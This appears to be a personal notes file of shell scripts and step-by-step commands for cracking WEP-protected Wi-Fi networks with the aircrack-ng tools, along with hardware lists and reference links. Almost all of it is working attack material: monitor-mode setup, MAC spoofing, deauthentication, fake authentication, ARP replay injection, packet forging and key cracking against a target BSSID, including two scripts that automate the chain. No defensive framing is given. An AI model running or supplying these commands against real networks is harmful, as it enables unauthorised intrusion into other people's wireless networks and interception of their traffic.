airmon-ng start wlan0 6
wesside-ng -i wlan0
#!/bin/sh
export BSSID=00:1A:4F:9A:6F:9D
export CHANNEL=11
rmmod ipw2200
modprobe ipw2200 rtap_iface=1
iwconfig eth1 mode managed channel $CHANNEL key s:password ap $BSSID
#ifconfig eth1 hw ether 00:a1:b2:c3:d4:e5
ifconfig eth1 up
ifconfig rtap0 up
#########
rmmod ipw2200
modprobe ipw2200 rtap_iface=1
iwconfig eth1 ap $BSSID
iwconfig eth1 key s:fakekey
iwconfig eth1 mode managed
ifconfig eth1 hw ether 00:19:3E:00:3E:36
iwconfig eth1 channel $CHANNEL
ifconfig eth1 up
ifconfig rtap0 up
#########
xterm -e "airodump-ng --channel $CHANNEL --bssid $BSSID -w dumpfile rtap0" &
sleep 10
xterm -e "aireplay-ng --arpreplay -b $BSSID -h 00:0E:35:A3:23:F7 -i rtap0 eth1" &
sleep 210
xterm -e "aircrack-ng -0 -b $BSSID dumpfile*.cap; sleep 1d" &
exit 0
http://www.offensive-security.com/movies/bt3teaser/bt3teaser.html
http://backtrack.offensive-security.com/index.php?title=HCL:Wireless
http://www.aircrack-ng.org/doku.php?id=wesside-ng
http://aircrack-ng.org/doku.php?id=injection_test
# intel 4965
airmon-ng stop mon0
airmon-ng stop wlan0
killall NetworkManager
killall wpa_supplicant
killall dhclient3
airmon-ng start wlan0
# get open
xterm -e sudo airodump-ng -t opn mon0 &
# get wep
xterm -e airodump-ng -w wep.out -t wep mon0 &
# search key
xterm -e aircrack-ng wep*.cap &
# Links
http://www.aircrack-ng.org/doku.php?id=compatibility_drivers
# Hardware
TL-WN422G
TL-WN321G
AWUS036H
$ airmon-ng stop rausb0
$ ifconfig rausb0 down
$ macchanger --mac 00:11:22:33:44:55 rausb0
$ airmon-ng start rausb0
$ airodump-ng rausb0
find the bssid
copy the bssid
$ airodump-ng -c 1 -w output --bssid rausb0
$ aireplay -1 0 -a paste -h 00:11:22:33:44:55 rausb0
$ aireplay-ng -0 5 -a rausb0
$ aireplay-ng -4 -b -h 00:11:22:33:44:55 rausb0
answer yes and wait
$ packetforge-ng --arp -a -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y filename.xor -w arprequest
$ aireplay-ng -2 -r arprequest rausb0
say yes
$ aircrack-ng output-01.cap
###################
wep.sh
#!/bin/bash
airmon-ng stop mon0
airmon-ng stop wlan0
#killall NetworkManager
#killall wpa_supplicant
#killall dhclient3
airmon-ng start wlan0
xterm -e airodump-ng -w wep.out -t wep mon0 &
xterm -e aircrack-ng wep*.cap &
http://ubuntuforums.org/showthread.php?t=1178790
http://aircrack-ng.org/doku.php?id=rt73